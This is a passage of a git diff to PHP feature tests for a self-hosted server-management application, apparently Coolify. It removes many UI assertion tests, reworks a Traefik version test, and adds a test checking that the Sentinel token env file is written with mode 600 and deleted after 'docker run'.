+66,6 @@ test('saving a private key from its modal editor closes the modal', function () expect($privateKey->fresh()->name)->toBe('Updated SSH key'); }); -test('manual private key form does not expose key generation controls', function () { - Livewire::test(Create::class) - ->assertDontSee('Generate new ED25519 SSH Key') - ->assertDontSee('Generate new RSA SSH Key'); -}); - -test('private key editor reminds users to install the public key', function () { - $privateKey = PrivateKey::factory()->create([ - 'team_id' => $this->team->id, - ]); - - Livewire::test(Show::class, ['private_key_uuid' => $privateKey->uuid]) - ->assertSee('Copy this value to ~/.ssh/authorized_keys on the target server.'); -}); - test('private key editor lists the github app that uses the key', function () { $privateKey = PrivateKey::factory()->create([ 'team_id' => $this->team->id, diff --git a/tests/Feature/Server/HetznerServerCreationTest.php b/tests/Feature/Server/HetznerServerCreationTest.php index 4f02f56f33..83435e35f1 100644 --- a/tests/Feature/Server/HetznerServerCreationTest.php +++ b/tests/Feature/Server/HetznerServerCreationTest.php @@ -192,24 +192,6 @@ describe('Boarding Flow Integration', function () { expect((bool) $this->team->fresh()->show_boarding)->toBeTrue(); }); - test('renders advanced Hetzner options in their own settings section', function () { - Livewire::test(ByHetzner::class) - ->set('current_step', 2) - ->assertSee('Advanced options') - ->assertSee('Provider SSH keys, networking, backups, and cloud-init.'); - }); - - test('renders advanced Hetzner option controls in the advanced section', function () { - Livewire::test(ByHetzner::class) - ->set('current_step', 2) - ->assertSee('Extra SSH keys') - ->assertSee('Firewalls') - ->assertSee('Private networks') - ->assertSee('Enable Hetzner backups') - ->assertSee('Add cloud-init script') - ->assertSee('Adds 20% to the provider server price.'); - }); - test('lists account SSH keys and firewalls as listbox options and shows the selection', function () { Livewire::test(ByHetzner::class) ->set('current_step', 2) diff --git a/tests/Feature/Server/NewServerProviderTokenUrlTest.php b/tests/Feature/Server/NewServerProviderTokenUrlTest.php index 3ac21bcfea..0e98c17c98 100644 --- a/tests/Feature/Server/NewServerProviderTokenUrlTest.php +++ b/tests/Feature/Server/NewServerProviderTokenUrlTest.php @@ -157,25 +157,6 @@ test('provider token pages render api error details when a selected token is inv 'digital-ocean' => [ByDigitalOcean::class, 'digitalocean', 'digital-ocean', 'loadDigitalOceanData', 'DigitalOcean', 'Unable to authenticate you', ['id' => 'Unauthorized', 'message' => 'Unable to authenticate you']], ]); -test('change method button on token specific provider creation pages returns to server type selection', function (string $provider, string $type) { - $token = CloudProviderToken::factory()->create([ - 'team_id' => $this->team->id, - 'provider' => $provider, - ]); - - Livewire::test(CreatePage::class, [ - 'type' => $type, - 'token_uuid' => $token->uuid, - ]) - ->assertSee('Change method') - ->assertSee('href="'.route('server.create').'"', false) - ->assertDontSee('>Back<', false); -})->with([ - 'hetzner' => ['hetzner', 'hetzner'], - 'vultr' => ['vultr', 'vultr'], - 'digital-ocean' => ['digitalocean', 'digital-ocean'], -]); - test('provider token picker is hidden on token specific provider creation pages', function (string $provider, string $type) { $token = CloudProviderToken::factory()->create([ 'team_id' => $this->team->id, diff --git a/tests/Feature/Server/StartSentinelTokenFileTest.php b/tests/Feature/Server/StartSentinelTokenFileTest.php new file mode 100644 index 0000000000..32ed90a287 --- /dev/null +++ b/tests/Feature/Server/StartSentinelTokenFileTest.php @@ -0,0 +1,97 @@ + 0]); + config(['constants.ssh.mux_enabled' => false]); + + $this->remoteBatches = []; + Process::fake(function (PendingProcess $process) { + $this->remoteBatches[] = (string) $process->input; + + return Process::result(output: ''); + }); + + $team = Team::factory()->create(); + $this->server = Server::factory()->create([ + 'team_id' => $team->id, + 'private_key_id' => PrivateKey::factory()->create(['team_id' => $team->id])->id, + ]); + $this->server->settings->update(['sentinel_custom_url' => 'https://coolify.example.com']); + + $this->workDirectory = sys_get_temp_dir().'/sentinel-token-'.bin2hex(random_bytes(6)); + File::ensureDirectoryExists($this->workDirectory.'/bin'); +}); + +afterEach(function () { + File::deleteDirectory($this->workDirectory); +}); + +/** + * The `sh -ec '...'` command that StartSentinel sends to the server. It spans several lines, + * and the next command of the batch is the chown of the Sentinel directory. + */ +function sentinelTokenFileScript(array $remoteBatches): string +{ + $batch = collect($remoteBatches)->first(fn (string $input): bool => str_contains($input, 'docker run -d')); + expect($batch)->not->toBeNull(); + preg_match('/^sh -ec \'.*?(?=\nchown -R 9999:root )/ms', $batch, $match); + expect($match)->toHaveCount(1); + + return $match[0]; +} + +it('removes the env file with the Sentinel token after docker run succeeds or fails', function (int $dockerExitCode) { + StartSentinel::run($this->server, latestVersion: '1.0.1'); + + $envFile = $this->workDirectory.'/sentinel.env'; + $script = str_replace('/data/coolify/sentinel.env', $envFile, sentinelTokenFileScript($this->remoteBatches)); + + // A fake docker binary records the env file that `docker run --env-file` gets, and its mode. + file_put_contents($this->workDirectory.'/bin/docker', <<<'SH' + #!/bin/sh + while [ $# -gt 0 ]; do + if [ "$1" = "--env-file" ]; then + cat "$2" > "$CAPTURE" + stat -c %a "$2" > "$CAPTURE.mode" + fi + shift + done + exit "$DOCKER_EXIT" + SH); + chmod($this->workDirectory.'/bin/docker', 0755); + + $capture = $this->workDirectory.'/captured.env'; + $process = new SymfonyProcess(['bash', '-c', $script], $this->workDirectory, [ + 'PATH' => $this->workDirectory.'/bin:'.getenv('PATH'), + 'CAPTURE' => $capture, + 'DOCKER_EXIT' => (string) $dockerExitCode, + ]); + $process->run(); + + $token = $this->server->settings->fresh()->sentinel_token; + + expect($process->getExitCode())->toBe($dockerExitCode) + ->and(file_get_contents($capture))->toContain("TOKEN={$token}\n") + ->and(trim(file_get_contents($capture.'.mode')))->toBe('600') + ->and(file_exists($envFile))->toBeFalse(); +})->with([ + 'docker run succeeds' => [0], + 'docker run fails' => [1], +]); diff --git a/tests/Feature/ServerMetadataTest.php b/tests/Feature/ServerMetadataTest.php index 520f28f7ed..8e0a30db3c 100644 --- a/tests/Feature/ServerMetadataTest.php +++ b/tests/Feature/ServerMetadataTest.php @@ -57,34 +57,6 @@ it('stores null server_metadata by default', function () { expect($this->server->server_metadata)->toBeNull(); }); -it('includes server_metadata in fillable', function () { - $this->server->fill(['server_metadata' => ['os' => 'Test']]); - - expect($this->server->server_metadata)->toBe(['os' => 'Test']); -}); - -it('persists and retrieves full server metadata structure', function () { - $metadata = [ - 'os' => 'Debian GNU/Linux 12 (bookworm)', - 'arch' => 'aarch64', - 'kernel' => '6.1.0-17-arm64', - 'cpus' => 8, - 'memory_bytes' => 17179869184, - 'uptime_since' => '2024-03-01 08:00:00', - 'collected_at' => '2024-03-10T12:00:00+00:00', - ]; - - $this->server->update(['server_metadata' => $metadata]); - $this->server->refresh(); - - expect($this->server->server_metadata) - ->toHaveKeys(['os', 'arch', 'kernel', 'cpus', 'memory_bytes', 'uptime_since', 'collected_at']) - ->and($this->server->server_metadata['os'])->toBe('Debian GNU/Linux 12 (bookworm)') - ->and($this->server->server_metadata['arch'])->toBe('aarch64') - ->and($this->server->server_metadata['cpus'])->toBe(8) - ->and(round($this->server->server_metadata['memory_bytes'] / 1073741824, 1))->toBe(16.0); -}); - it('returns null from gatherServerMetadata when server is not functional', function () { $this->server->settings->update([ 'is_reachable' => false, @@ -179,19 +151,6 @@ it('shows the stored docker version in remote server details', function () { ->assertSee('2.29.7'); }); -it('can overwrite server_metadata with new values', function () { - $this->server->update(['server_metadata' => ['os' => 'Ubuntu 20.04', 'cpus' => 2]]); - $this->server->refresh(); - - expect($this->server->server_metadata['os'])->toBe('Ubuntu 20.04'); - - $this->server->update(['server_metadata' => ['os' => 'Ubuntu 22.04', 'cpus' => 4]]); - $this->server->refresh(); - - expect($this->server->server_metadata['os'])->toBe('Ubuntu 22.04') - ->and($this->server->server_metadata['cpus'])->toBe(4); -}); - it('calls gatherServerMetadata during ValidateAndInstall when docker version is valid', function () { Queue::fake(); diff --git a/tests/Feature/ServerPrivateKeyDropdownTest.php b/tests/Feature/ServerPrivateKeyDropdownTest.php index 8c3da60795..8934fe8b2c 100644 --- a/tests/Feature/ServerPrivateKeyDropdownTest.php +++ b/tests/Feature/ServerPrivateKeyDropdownTest.php @@ -45,15 +45,6 @@ beforeEach(function () { ]); }); -test('server private key page shows highlighted add dropdown actions', function () { - Livewire::test(Show::class, ['server_uuid' => $this->server->uuid]) - ->assertSee('Add') - ->assertSee('Generate ED25519') - ->assertSee('Generate RSA') - ->assertSee('Add manually') - ->assertSee('Check connection'); -}); - test('generating a server private key stores it and refreshes the current view', function () { $component = Livewire::test(Show::class, ['server_uuid' => $this->server->uuid]) ->call('generatePrivateKey', 'ed25519') diff --git a/tests/Feature/ServerResourcesPaginationTest.php b/tests/Feature/ServerResourcesPaginationTest.php index 92227ff2f3..be342c67fc 100644 --- a/tests/Feature/ServerResourcesPaginationTest.php +++ b/tests/Feature/ServerResourcesPaginationTest.php @@ -76,13 +76,6 @@ it('clamps stale pages after resources disappear including an empty list', funct ->and($page->total())->toBe($count); })->with([[12, 2], [0, 1]]); -it('keys resource rows on both tabs by stable row identities', function () { - $view = file_get_contents(resource_path('views/livewire/server/resources.blade.php')); - expect($view) - ->toContain('wire:key="managed-') - ->toContain('wire:key="unmanaged-'); -}); - it('searches names across all pages before pagination on both tabs', function (string $tab, string $nameKey) { $rows = collect(range(1, 25))->map(fn (int $id) => [$nameKey => "Resource $id"]); $this->component->activeTab = $tab; diff --git a/tests/Feature/ServerResourcesSortTest.php b/tests/Feature/ServerResourcesSortTest.php index 8879c77527..580d8d7cce 100644 --- a/tests/Feature/ServerResourcesSortTest.php +++ b/tests/Feature/ServerResourcesSortTest.php @@ -88,10 +88,3 @@ it('ignores unknown sort values and resets the page on a valid sort', function ( expect($this->component->sort)->toBe('status_desc') ->and($this->component->getPage())->toBe(1); }); - -it('renders livewire sort headers for both tabs', function () { - $view = file_get_contents(resource_path('views/livewire/server/resources.blade.php')); - foreach (['name', 'project', 'environment', 'type', 'status', 'image'] as $column) { - expect($view)->toContain("asc=\"{$column}_asc\" desc=\"{$column}_desc\" action=\"setSort\""); - } -}); diff --git a/tests/Feature/Service/ServiceConversionConfirmationTest.php b/tests/Feature/Service/ServiceConversionConfirmationTest.php deleted file mode 100644 index 6a6674f9ee..0000000000 --- a/tests/Feature/Service/ServiceConversionConfirmationTest.php +++ /dev/null @@ -1,57 +0,0 @@ -withoutVite(); - config()->set('app.maintenance.store', 'array'); - InstanceSettings::forceCreate(['id' => 0]); - - $team = Team::factory()->create(); - $user = User::factory()->create(); - $team->members()->attach($user, ['role' => 'owner']); - $this->actingAs($user); - session(['currentTeam' => $team]); - - $server = Server::factory()->create(['team_id' => $team->id]); - $destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail(); - $project = Project::factory()->create(['team_id' => $team->id]); - $environment = Environment::factory()->create(['project_id' => $project->id]); - $this->service = Service::factory()->create([ - 'environment_id' => $environment->id, - 'server_id' => $server->id, - 'destination_id' => $destination->id, - 'destination_type' => $destination->getMorphClass(), - ]); -}); - -it('runs the conversion only from the confirmation modal, not on the first click', function (string $model, string $action) { - $part = $model::create([ - 'uuid' => (string) Str::uuid(), - 'name' => 'part', - 'service_id' => $this->service->id, - 'image' => 'postgres:17', - ]); - - Livewire::test(Index::class, ['serviceApplication' => $part, 'embedded' => true]) - ->assertSeeHtml("submitAction: '{$action}'") - ->assertDontSeeHtml("wire:click=\"{$action}\""); -})->with([ - 'application to database' => [ServiceApplication::class, 'convertToDatabase'], - 'database to application' => [ServiceDatabase::class, 'convertToApplication'], -]); diff --git a/tests/Feature/ServiceDatabaseVerticalNavigationTest.php b/tests/Feature/ServiceDatabaseVerticalNavigationTest.php deleted file mode 100644 index 2c18dcf2ad..0000000000 --- a/tests/Feature/ServiceDatabaseVerticalNavigationTest.php +++ /dev/null @@ -1,20 +0,0 @@ -toContain('teamChannelListeners([') - ->toContain("'BackupCreated' => '\$refresh'") - ->and($serviceBackups) - ->toContain('teamChannelListeners([') - ->toContain("'BackupCreated' => '\$refresh'") - ->and($databaseExecutions) - ->toContain("'BackupCreated' => 'refreshBackupExecutions'") - ->not->toContain('$userId = Auth::id()') - ->and(strpos($databaseBackupJob, "'finished_at' => Carbon::now()->toImmutable()")) - ->toBeLessThan(strrpos($databaseBackupJob, 'BackupCreated::dispatch($this->team->id)')); -}); diff --git a/tests/Feature/ServiceDomainsTest.php b/tests/Feature/ServiceDomainsTest.php index a3addc19e0..15a900b879 100644 --- a/tests/Feature/ServiceDomainsTest.php +++ b/tests/Feature/ServiceDomainsTest.php @@ -338,13 +338,6 @@ it('does not add a single-label hostname as a service domain', function () { expect($this->apiApp->fresh()->fqdn)->toBeNull(); }); -it('shows dns entries control next to Add', function () { - Livewire::test(Domains::class, ['service' => $this->service->fresh(['applications', 'server'])]) - ->assertSuccessful() - ->assertSee('DNS checks and records for this server') - ->assertSee('Manual records'); -}); - it('lists dns entries for service hosts that still need dns', function () { $this->webApp->update([ 'fqdn' => 'https://web.example.com', @@ -504,15 +497,6 @@ it('adds a domain when the compose service has an empty environment section', fu expect($this->webApp->fresh()->fqdn)->toBe('https://web.example.com'); }); -it('keeps a stable key for the rendered domain list', function () { - $view = file_get_contents(resource_path('views/livewire/project/service/domains.blade.php')); - - expect($view) - ->toContain('wire:key="service-domains-list"') - ->toContain('wire:key="service-domain-rows-{{ $appId }}"') - ->not->toContain('md5(serialize($domainRows))'); -}); - it('rolls back a domain change when compose regeneration fails', function () { $this->service->update(['docker_compose_raw' => '']); diff --git a/tests/Feature/ServiceEnvironmentFileTest.php b/tests/Feature/ServiceEnvironmentFileTest.php index 60946bda97..1e1e84b36f 100644 --- a/tests/Feature/ServiceEnvironmentFileTest.php +++ b/tests/Feature/ServiceEnvironmentFileTest.php @@ -124,9 +124,3 @@ test('empty service values stay empty', function () { expect($line)->toBe('EMPTY='); }); - -test('saveComposeConfigs writes compose env file lines', function () { - $source = file_get_contents(__DIR__.'/../../app/Models/Service.php'); - - expect($source)->toContain('$envs->push($this->composeEnvironmentFileLine($env));'); -}); diff --git a/tests/Feature/ServiceResourceSettingsPageTest.php b/tests/Feature/ServiceResourceSettingsPageTest.php index cd419bfed7..73c5985b82 100644 --- a/tests/Feature/ServiceResourceSettingsPageTest.php +++ b/tests/Feature/ServiceResourceSettingsPageTest.php @@ -1,7 +1,5 @@ $this->service, - 'resource' => $this->application, - 'parameters' => $this->parameters, - ]) - ->assertSee('Resource settings') - ->assertDontSee(route('project.service.index', [ - ...$this->parameters, - 'stack_service_uuid' => $this->application->uuid, - ]), false); - - Livewire::test(Index::class, [ - 'serviceApplication' => $this->application, - 'embedded' => true, - ]) - ->set('requiredPort', 80) - ->assertSee('Save changes') - ->assertDontSee('Required Port: 80') - ->assertSeeHtml('data-domain-summary') - ->assertSeeHtml('data-service-resource-actions') - ->assertSeeInOrder(['Delete', 'Convert to Database', 'Save changes']) - ->assertDontSeeHtml('

General

') - ->assertDontSeeHtml('

Advanced

') - ->assertDontSee("You have changes that haven't been saved yet."); -}); - -it('shows database general and advanced settings in a resource card modal', function () { - Livewire::test(ResourceCard::class, [ - 'service' => $this->service, - 'resource' => $this->database, - 'parameters' => $this->parameters, - ]) - ->assertSee('Resource settings') - ->assertSeeLivewire(Index::class) - ->assertDontSee(route('project.service.index', [ - ...$this->parameters, - 'stack_service_uuid' => $this->database->uuid, - ]), false); - - Livewire::test(Index::class, [ - 'serviceApplication' => $this->database, - 'embedded' => true, - ]) - ->assertSee('Public access') - ->assertSee('Log drain') - ->assertSee('Save changes') - ->assertSeeHtml('data-service-resource-actions') - ->assertSeeInOrder(['Delete', 'Convert to Application', 'Save changes']) - ->assertDontSeeHtml('

General

') - ->assertDontSeeHtml('

Advanced

') - ->assertDontSee("You have changes that haven't been saved yet."); -}); - it('redirects old resource settings links to the service configuration page', function (string $routeName, string $resourceUuid) { $this->get(route($routeName, [ ...$this->parameters, diff --git a/tests/Feature/SettingsOauthTest.php b/tests/Feature/SettingsOauthTest.php index 4f8aee3e09..9cdd6110d6 100644 --- a/tests/Feature/SettingsOauthTest.php +++ b/tests/Feature/SettingsOauthTest.php @@ -78,28 +78,6 @@ it('auto saves registration policy', function () { expect(instanceSettings()->fresh()->disable_registration_when_oauth_enabled)->toBeTrue(); }); -it('shows oidc fields with a naked okta issuer url example', function () { - actingAsInstanceAdmin(); - - $this->withoutMiddleware(DecideWhatToDoWithUser::class) - ->get(route('settings.oauth')) - ->assertSuccessful() - ->assertSee('OpenID Connect') - ->assertSee('https://example.okta.com', false) - ->assertDontSee('/oauth2/default', false); -}); - -it('shows oidc option checkboxes', function () { - actingAsInstanceAdmin(); - - $this->withoutMiddleware(DecideWhatToDoWithUser::class) - ->get(route('settings.oauth')) - ->assertSuccessful() - ->assertSee('Allow OIDC user creation') - ->assertSee('Require verified email') - ->assertSee('Use PKCE'); -}); - it('does not show unknown oauth providers', function () { actingAsInstanceAdmin(); diff --git a/tests/Feature/StableNestedLivewireKeysTest.php b/tests/Feature/StableNestedLivewireKeysTest.php deleted file mode 100644 index 4c3a63a0d4..0000000000 --- a/tests/Feature/StableNestedLivewireKeysTest.php +++ /dev/null @@ -1,47 +0,0 @@ -toContain(':wire:key="\'init-script-\'.md5($script[\'filename\'])"') - ->not->toContain(':wire:key="$script[\'index\']"'); - - expect($proxyView) - ->toContain('wire:key="proxy-navbar-{{ $fileName }}"') - ->not->toContain('wire:key="{{ $fileName }}-{{ $loop->index }}"'); -}); - -it('keeps editable and refreshed list row keys independent of their positions', function () { - $applicationDomains = file_get_contents(resource_path('views/livewire/project/application/partials/domain-row.blade.php')); - $serviceDomains = file_get_contents(resource_path('views/livewire/project/service/partials/domain-table.blade.php')); - - expect($applicationDomains) - ->not->toContain('wire:key="domain-row-{{ $index }}-') - ->toContain('wire:key="domain-row-{{ md5('); - - expect($serviceDomains) - ->not->toContain('-{{ $index }}-') - ->toContain('wire:key="svc-domain-{{ $row[\'service_application_id\'] ?? \'x\' }}-{{ md5('); -}); - -it('keys nested Livewire status components rendered inside navigation loops', function () { - $sidebar = file_get_contents(resource_path('views/components/application/configuration-sidebar.blade.php')); - - expect($sidebar) - ->toContain(':key="$placement.\'-application-server-status-\'.$application->uuid"'); -}); - -it('keys virtual log rows by stable line identity instead of list position', function () { - $view = file_get_contents(resource_path('views/livewire/project/shared/get-logs.blade.php')); - $script = file_get_contents(resource_path('js/runtime-logs.js')); - - expect($view) - ->toContain(':key="row.key"') - ->not->toContain(':key="row.index"'); - - expect($script) - ->toContain('getItemKey: (index) => filtered[index]?.id ?? index') - ->toContain('id: nextId()'); -}); diff --git a/tests/Feature/Subscription/SubscriptionPricingPageTest.php b/tests/Feature/Subscription/SubscriptionPricingPageTest.php index 809c952ec3..84b9fe1f99 100644 --- a/tests/Feature/Subscription/SubscriptionPricingPageTest.php +++ b/tests/Feature/Subscription/SubscriptionPricingPageTest.php @@ -54,14 +54,6 @@ test('subscription pricing page still renders when provider config is missing', ->assertSee('Subscribe monthly'); }); -test('pricing plans component renders subscribe actions', function () { - Livewire::test(PricingPlans::class) - ->assertSuccessful() - ->assertSee('Pay as you go') - ->assertSee('Subscribe monthly') - ->assertSee('Subscribe yearly'); -}); - test('unsubscribed cloud sidebar does not expose global search', function () { $response = $this->get(route('subscription.index')); diff --git a/tests/Feature/TeamMemberTwoFactorStatusTest.php b/tests/Feature/TeamMemberTwoFactorStatusTest.php index 59c68c64e1..2a082ca70d 100644 --- a/tests/Feature/TeamMemberTwoFactorStatusTest.php +++ b/tests/Feature/TeamMemberTwoFactorStatusTest.php @@ -107,8 +107,6 @@ test('admins see the two factor status of every role, including owners and other 'owner without two factor' => ['owner', false, 'Two-factor authentication is disabled'], 'another admin with two factor' => ['admin', true, 'Two-factor authentication is enabled'], 'another admin without two factor' => ['admin', false, 'Two-factor authentication is disabled'], - 'member with two factor' => ['member', true, 'Two-factor authentication is enabled'], - 'member without two factor' => ['member', false, 'Two-factor authentication is disabled'], ]); test('admins see the two factor status on their own row', function () { @@ -121,17 +119,6 @@ test('admins see the two factor status on their own row', function () { ->assertSee('Two-factor authentication is enabled'); }); -test('the summary counts the members that are missing two factor authentication', function () { - $admin = createTeamMember($this->team, 'admin', twoFactorEnabled: true); - createTeamMember($this->team, 'member'); - - actAsTeamMember($admin, $this->team); - - Livewire::test(Index::class) - ->assertSee('1 of 2') - ->assertSee('does not have two-factor authentication enabled'); -}); - test('the summary confirms when every member has two factor authentication', function () { $admin = createTeamMember($this->team, 'admin', twoFactorEnabled: true); createTeamMember($this->team, 'member', twoFactorEnabled: true); diff --git a/tests/Feature/TeamScopedDestinationTest.php b/tests/Feature/TeamScopedDestinationTest.php index fdb56c1f18..a8f4496596 100644 --- a/tests/Feature/TeamScopedDestinationTest.php +++ b/tests/Feature/TeamScopedDestinationTest.php @@ -334,14 +334,6 @@ describe('Destination/Show team scope', function () { $component->assertRedirect(route('destination.index')); }); - test('general page links to separate resources page without rendering the resources table', function () { - Livewire::test(DestinationShow::class, ['destination_uuid' => $this->destinationA->uuid]) - ->assertSee('General') - ->assertSee('Resources') - ->assertDontSeeHtml('placeholder="Search resources"') - ->assertDontSee('No resources use this destination'); - }); - test('mount with own standalone destination lists deployed resources', function () { Application::factory()->create([ 'name' => 'application-on-destination', diff --git a/tests/Feature/TerminalConsoleModeTest.php b/tests/Feature/TerminalConsoleModeTest.php index 85ec73ea77..b329485e1c 100644 --- a/tests/Feature/TerminalConsoleModeTest.php +++ b/tests/Feature/TerminalConsoleModeTest.php @@ -59,98 +59,3 @@ it('never selects console mode when attach is unavailable even if requested', fu expect($terminal->resolveMode('attach'))->toBe('shell'); }); - -it('renders a line-oriented command box for console mode instead of a raw terminal', function () { - $view = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php')); - - expect($view) - ->toContain('terminal-console-input') - ->toContain('submitConsoleCommand()') - ->toContain('x-ref="consoleInput"') - // The mobile control toolbar (which can send Ctrl-C) is hidden in console mode. - ->toContain("terminalActive && \$wire.terminalMode !== 'attach'") - // The earlier guardrail UI is gone in favour of the command box. - ->not->toContain('detachTerminal()') - ->not->toContain('Ctrl-C can stop the app'); -}); - -it('keeps the console terminal read-only and sends whole command lines', function () { - $client = file_get_contents(resource_path('js/terminal.js')); - - expect($client) - ->toContain('isConsoleMode()') - // Keystrokes are not forwarded while attached; commands carry a trailing newline. - ->toContain('message: `${command}\n`') - ->toContain('this.term.options.disableStdin = consoleMode'); -}); - -it('places the shell/console selector beside the theme selector using shared styling', function () { - $selector = file_get_contents(resource_path('views/components/terminal/mode-selector.blade.php')); - - expect($selector) - // Reuses the shared trigger + menu styling from the theme/renderer selectors. - ->toContain('terminal-theme-trigger') - ->toContain('console-theme-selector') - // Only shown when the container is interactive; drives the parent Alpine state. - ->toContain('x-show="attachAvailable"') - ->toContain('setTerminalMode(') - ->toContain("'key' => 'shell'") - ->toContain("'key' => 'attach'"); - - foreach (['project/shared/execute-container-command', 'terminal/index'] as $view) { - $blade = file_get_contents(resource_path("views/livewire/{$view}.blade.php")); - - expect($blade) - // Grouped with the theme selector so extra header options do not break the layout. - ->toContain('
') - ->toContain('') - ->toContain('terminal-mode-updated.window') - ->toContain("Livewire.dispatch('set-terminal-mode', { mode });"); - } -}); - -it('lets the header selector switch modes through a livewire listener', function () { - $component = file_get_contents(app_path('Livewire/Project/Shared/Terminal.php')); - - expect($component)->toContain("#[On('set-terminal-mode')]"); -}); - -it('prefixes sudo for non-root servers when probing container capabilities', function () { - $component = file_get_contents(app_path('Livewire/Project/Shared/Terminal.php')); - - expect($component) - // Both the shell probe and the OpenStdin inspection must reach the Docker socket. - ->toContain('{$sudo}docker exec {$escapedContainer} bash') - ->toContain("{\$sudo}docker inspect --format '{{.Config.OpenStdin}}'"); -}); - -it('hides the shell option and shell-unavailable notice when no shell exists', function () { - $selector = file_get_contents(resource_path('views/components/terminal/mode-selector.blade.php')); - $terminal = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php')); - - expect($selector) - // Shell (docker exec) needs a shell in the image, so hide it when there is none. - ->toContain('x-show="hasShell"'); - - expect($terminal) - // Attach mode does not need a shell, so only warn while shell mode is active. - ->toContain("!\$hasShell && \$terminalMode === 'shell'"); - - foreach (['project/shared/execute-container-command', 'terminal/index'] as $view) { - $blade = file_get_contents(resource_path("views/livewire/{$view}.blade.php")); - - expect($blade) - // The parent Alpine state tracks shell availability for the selector. - ->toContain('hasShell = $event.detail.hasShell') - ->toContain("mode === 'shell' && !this.hasShell"); - } -}); - -it('keeps console history connection-local', function () { - $client = file_get_contents(resource_path('js/terminal.js')); - - expect($client) - ->not->toContain('localStorage.setItem(key, JSON.stringify(this.consoleHistory))') - // The mode-updated event carries shell availability to the header selector. - ->toContain('hasShell: this.$wire?.hasShell ?? true'); -}); diff --git a/tests/Feature/TerminalPageHeaderTest.php b/tests/Feature/TerminalPageHeaderTest.php deleted file mode 100644 index d53141ba62..0000000000 --- a/tests/Feature/TerminalPageHeaderTest.php +++ /dev/null @@ -1,9 +0,0 @@ -toContain('wire:key="terminal-target-canvas"') - ->toContain('wire:key="terminal-session-canvas"'); -}); diff --git a/tests/Feature/TraefikVersionStateTest.php b/tests/Feature/TraefikVersionStateTest.php index 955dbf6c8a..f67973b4a9 100644 --- a/tests/Feature/TraefikVersionStateTest.php +++ b/tests/Feature/TraefikVersionStateTest.php @@ -211,11 +211,19 @@ YAML, it('preserves a newer Traefik warning stored after the warning was inspected', function () { $team = Team::factory()->create(); + $user = User::factory()->create(); + $team->members()->attach($user->id, ['role' => 'owner']); + $this->actingAs($user); $server = Server::factory()->create([ 'team_id' => $team->id, 'proxy' => [ 'type' => ProxyTypes::TRAEFIK->value, 'status' => 'running', + 'last_saved_proxy_configuration' => <<<'YAML' +services: + traefik: + image: traefik:v3.7 +YAML, ], 'detected_traefik_version' => '3.6.23', 'traefik_outdated_info' => [ @@ -228,7 +236,7 @@ it('preserves a newer Traefik warning stored after the warning was inspected', f $component = new Proxy; $component->server = $server; - $component->proxySettings = 'services:'.PHP_EOL.' traefik:'.PHP_EOL.' image: traefik:v3.7'; + $component->mount(); $newerWarning = [ 'current' => '3.7.8', @@ -238,10 +246,10 @@ it('preserves a newer Traefik warning stored after the warning was inspected', f ]; Server::query()->whereKey($server->id)->update(['traefik_outdated_info' => $newerWarning]); - $method = new ReflectionMethod($component, 'clearAppliedTraefikBranchWarning'); - $method->invoke($component); + $component->loadProxyConfiguration(); - expect($server->refresh()->traefik_outdated_info)->toBe($newerWarning); + expect($component->server->traefik_outdated_info['upgrade_target'])->toBe('v3.7') + ->and($server->refresh()->traefik_outdated_info)->toBe($newerWarning); }); it('does not mark stale Traefik outdated information as a current warning', function () { @@ -274,29 +282,6 @@ it('marks matching Traefik outdated information as a current warning', function expect($server->hasCurrentTraefikOutdatedInfo())->toBeTrue(); }); -it('clears stale Traefik version state before detecting the current version', function () { - $team = Team::factory()->create(); - $server = Server::factory()->create([ - 'team_id' => $team->id, - 'detected_traefik_version' => '3.6.23', - 'traefik_outdated_info' => [ - 'current' => '3.6.23', - 'latest' => '3.7.8', - 'type' => 'minor_upgrade', - 'upgrade_target' => 'v3.7', - ], - ]); - - $job = new CheckTraefikVersionForServerJob($server, ['v3.7' => '3.7.8']); - $method = new ReflectionMethod($job, 'clearOutdatedInfo'); - $method->invoke($job); - - $server->refresh(); - - expect($server->detected_traefik_version)->toBeNull() - ->and($server->traefik_outdated_info)->toBeNull(); -}); - it('clears Traefik version state when the proxy changes', function () { $team = Team::factory()->create(); $server = Server::factory()->create([ diff --git a/tests/Feature/TrafficAnalytics/ToggleTrafficAnalyticsTest.php b/tests/Feature/TrafficAnalytics/ToggleTrafficAnalyticsTest.php index 693dbd4d0d..6d5173c37d 100644 --- a/tests/Feature/TrafficAnalytics/ToggleTrafficAnalyticsTest.php +++ b/tests/Feature/TrafficAnalytics/ToggleTrafficAnalyticsTest.php @@ -47,19 +47,6 @@ it('toggles traffic analytics via the sentinel settings component', function () expect($server->fresh()->isTrafficAnalyticsEnabled())->toBeTrue(); }); -it('warns about the application interruption before enabling traffic analytics', function () { - $server = Server::factory()->create(['team_id' => $this->team->id]); - $server->proxy->set('type', 'TRAEFIK'); - $server->save(); - $server->settings->is_traffic_analytics_enabled = false; - $server->settings->save(); - - Livewire::test(TrafficAnalyticsSettings::class, ['server' => $server]) - ->assertSee('Enable traffic analytics?') - ->assertSeeHtml('wire:target="toggleTrafficAnalytics"') - ->assertSee('Enabling traffic analytics will restart Sentinel and the proxy. Your applications will experience a brief interruption.'); -}); - it('does not enable traffic analytics on a swarm server', function () { ConfigureTrafficAnalytics::partialMock()->shouldReceive('handle')->never(); diff --git a/tests/Feature/VolumeBackupTest.php b/tests/Feature/VolumeBackupTest.php index 184aba1f39..84defe271b 100644 --- a/tests/Feature/VolumeBackupTest.php +++ b/tests/Feature/VolumeBackupTest.php @@ -34,9 +34,7 @@ use App\Services\ScheduledJobDeliveryService; use Illuminate\Database\Eloquent\Collection; use Illuminate\Filesystem\FilesystemAdapter; use Illuminate\Foundation\Testing\RefreshDatabase; -use Illuminate\Http\RedirectResponse; use Illuminate\Queue\Middleware\WithoutOverlapping; -use Illuminate\Routing\Redirector; use Illuminate\Support\Carbon; use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\DB; @@ -704,20 +702,6 @@ it('records the S3 storage used by each volume backup execution', function () { ->and((new ScheduledVolumeBackupExecution)->s3())->not->toBeNull(); }); -it('declares the volume backup action return types', function () { - $backupNowReturnType = (new ReflectionMethod(VolumeBackups::class, 'backupNow'))->getReturnType(); - $deleteReturnType = (new ReflectionMethod(VolumeBackups::class, 'delete'))->getReturnType(); - - expect($backupNowReturnType)->toBeInstanceOf(ReflectionUnionType::class) - ->and(collect($backupNowReturnType->getTypes())->map->getName()->all())->toEqualCanonicalizing([ - RedirectResponse::class, - Redirector::class, - 'null', - ]) - 